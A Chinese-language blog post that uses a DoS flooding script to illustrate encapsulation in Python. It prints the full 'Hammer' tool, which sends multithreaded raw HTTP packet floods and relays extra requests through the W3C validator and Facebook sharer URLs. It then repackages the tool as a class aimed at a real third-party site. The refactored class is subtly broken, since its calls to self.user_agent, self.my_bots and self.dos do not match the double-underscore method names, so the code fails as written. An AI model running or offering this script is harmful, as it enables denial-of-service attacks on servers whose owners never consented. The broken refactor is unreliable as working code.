python理解面向对象之封装

面向对象三个特点：继承，封装和多态．如何理解封装呢？为什么要封装呢？

这里看一个网站测试压力python代码：

from queue import Queue
from optparse import OptionParser
import time,sys,socket,threading,logging,urllib.request,random

def user_agent():
	global uagent
	uagent=[]
	uagent.append("Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14")
	uagent.append("Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:26.0) Gecko/20100101 Firefox/26.0")
	uagent.append("Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3")
	uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")
	uagent.append("Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7")
	uagent.append("Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")
	uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1")
	return(uagent)


def my_bots():
	global bots
	bots=[]
	bots.append("http://validator.w3.org/check?uri=")
	bots.append("http://www.facebook.com/sharer/sharer.php?u=")
	return(bots)


def bot_hammering(url):
	try:
		while True:
			req = urllib.request.urlopen(urllib.request.Request(url,headers={'User-Agent': random.choice(uagent)}))
			print("\033[94mbot is hammering...\033[0m")
			time.sleep(.1)
	except:
		time.sleep(.1)


def down_it(item):
	try:
		while True:
			packet = str("GET / HTTP/1.1\nHost: "+host+"\n\n User-Agent: "+random.choice(uagent)+"\n"+data).encode('utf-8')
			s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
			s.connect((host,int(port)))
			if s.sendto( packet, (host, int(port)) ):
				s.shutdown(1)
				print ("\033[92m",time.ctime(time.time()),"\033[0m \033[94m <--packet sent! hammering--> \033[0m")
			else:
				s.shutdown(1)
				print("\033[91mshut<->down\033[0m")
			time.sleep(.1)
	except socket.error as e:
		print("\033[91mno connection! server maybe down\033[0m")
		#print("\033[91m",e,"\033[0m")
		time.sleep(.1)


def dos():
	while True:
		item = q.get()
		down_it(item)
		q.task_done()


def dos2():
	while True:
		item=w.get()
		bot_hammering(random.choice(bots)+"http://"+host)
		w.task_done()


def usage():
	print (''' \033[92m	Hammer Dos Script v.1 http://www.canyalcin.com/
	It is the end user's responsibility to obey all applicable laws.
	It is just for server testing script. Your ip is visible. \n
	usage : python3 hammer.py [-s] [-p] [-t]
	-h : help
	-s : server ip
	-p : port default 80
	-t : turbo default 135 \033[0m''')
	sys.exit()


def get_parameters():
	global host
	global port
	global thr
	global item
	optp = OptionParser(add_help_option=False,epilog="Hammers")
	optp.add_option("-q","--quiet", help="set logging to ERROR",action="store_const", dest="loglevel",const=logging.ERROR, default=logging.INFO)
	optp.add_option("-s","--server", dest="host",help="attack to server ip -s ip")
	optp.add_option("-p","--port",type="int",dest="port",help="-p 80 default 80")
	optp.add_option("-t","--turbo",type="int",dest="turbo",help="default 135 -t 135")
	optp.add_option("-h","--help",dest="help",action='store_true',help="help you")
	opts, args = optp.parse_args()
	logging.basicConfig(level=opts.loglevel,format='%(levelname)-8s %(message)s')
	if opts.help:
		usage()
	if opts.host is not None:
		host = opts.host
	else:
		usage()
	if opts.port is None:
		port = 80
	else:
		port = opts.port
	if opts.turbo is None:
		thr = 135
	else:
		thr = opts.turbo


# reading headers
global data
headers = open("headers.txt", "r")
data = headers.read()
headers.close()
#task queue are q,w
q = Queue()
w = Queue()


if __name__ == '__main__':
	if len(sys.argv) < 2:
		usage()
	#获取启动参数
	get_parameters()
	print("\033[92m",host," port: ",str(port)," turbo: ",str(thr),"\033[0m")
	print("\033[94mPlease wait...\033[0m")
	#添加请求代理
	user_agent()
	#添加分享集合
	my_bots()
	time.sleep(5)
	try:
		#先检查一遍能否连通
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect((host,int(port)))
		s.settimeout(1)
	except socket.error as e:
		print("\033[91mcheck server ip and port\033[0m")
		usage()
	while True:
		#thr为开启线程数量，默认值１３５
		for i in range(int(thr)):
			#开线程执行dos和dos2两个方法
			t = threading.Thread(target=dos)
			t.daemon = True  # if thread is exist, it dies
			t.start()
			t2 = threading.Thread(target=dos2)
			t2.daemon = True  # if thread is exist, it dies
			t2.start()
		start = time.time()
		#tasking
		item = 0
		while True:
			if (item>1800): # for no memory crash
				item=0
				time.sleep(.1)
			item = item + 1
			q.put(item)
			w.put(item)
		q.join()
		w.join()

代码流程部分加了注释，压力测试部分先不考虑，主要是利用urllib库发请求．

如果封装一个Hammer类是什么样的呢？

１．告诉Hammer测试url地址，端口号，线程数.

２．不管具体细节，开启测试start();

代码如下：

import time,sys,socket,threading,logging,urllib.request,random

class Hammer(object):
    def __init__(self,url,port=80,thr=135):
        self.socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        self.url=url
        self.port=port
        self.thr=thr
        self.user_agent()
        self.my_bots()


    def __user_agent(self):
        uagent = []
        uagent.append("Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14")
        uagent.append("Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:26.0) Gecko/20100101 Firefox/26.0")
        uagent.append(
            "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3")
        uagent.append(
            "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")
        uagent.append(
            "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7")
        uagent.append(
            "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")
        uagent.append(
            "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1")
        self.uagent = uagent

    def __my_bots(self):
        bots = []
        bots.append("http://validator.w3.org/check?uri=")
        bots.append("http://www.facebook.com/sharer/sharer.php?u=")
        self.bots=bots

    def start(self):
        headers = open("headers.txt", "r")
        self.data = headers.read()
        headers.close()
        while True:
            # thr为开启线程数量，默认值１３５
            for i in range(int(self.thr)):
                # 开线程执行dos和dos2两个方法
                t = threading.Thread(target=self.dos)
                t.daemon = True  # if thread is exist, it dies
                t.start()
                t2 = threading.Thread(target=self.dos2)
                t2.daemon = True  # if thread is exist, it dies
                t2.start()
    def __dos(self):
        try:
            while True:
                packet = str("GET / HTTP/1.1\nHost: " + self.url + "\n\n User-Agent: " + random.choice(
                    self.uagent) + "\n" + self.data).encode('utf-8')
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((self.url, int(self.port)))
                if s.sendto(packet, (self.url, int(self.port))):
                    s.shutdown(1)
                    print("\033[92m", time.ctime(time.time()),
                          "\033[0m \033[94m <--packet sent! hammering--> \033[0m")
                else:
                    s.shutdown(1)
                    print("\033[91mshut<->down\033[0m")
                time.sleep(.1)
        except socket.error as e:
            print("\033[91mno connection! server maybe down\033[0m")
            # print("\033[91m",e,"\033[0m")
            time.sleep(.1)

    def __dos2(self):
        while True:
            self.bot_hammering(random.choice(self.bots) + "http://" + self.url)

    def __bot_hammering(self,url):
        try:
            while True:
                req = urllib.request.urlopen(
                    urllib.request.Request(url, headers={'User-Agent': random.choice(self.uagent)}))
                print("\033[94mbot is hammering...\033[0m")
                time.sleep(.1)
        except:
            time.sleep(.1)

def main():
    hammer=Hammer("wwww.baidu.com")
    hammer.start()

if __name__=="__main__":
    main()

封装之后的代码流程和层次都简单了，对外仅暴露start（）方法．提高代码的健壮性和安全性．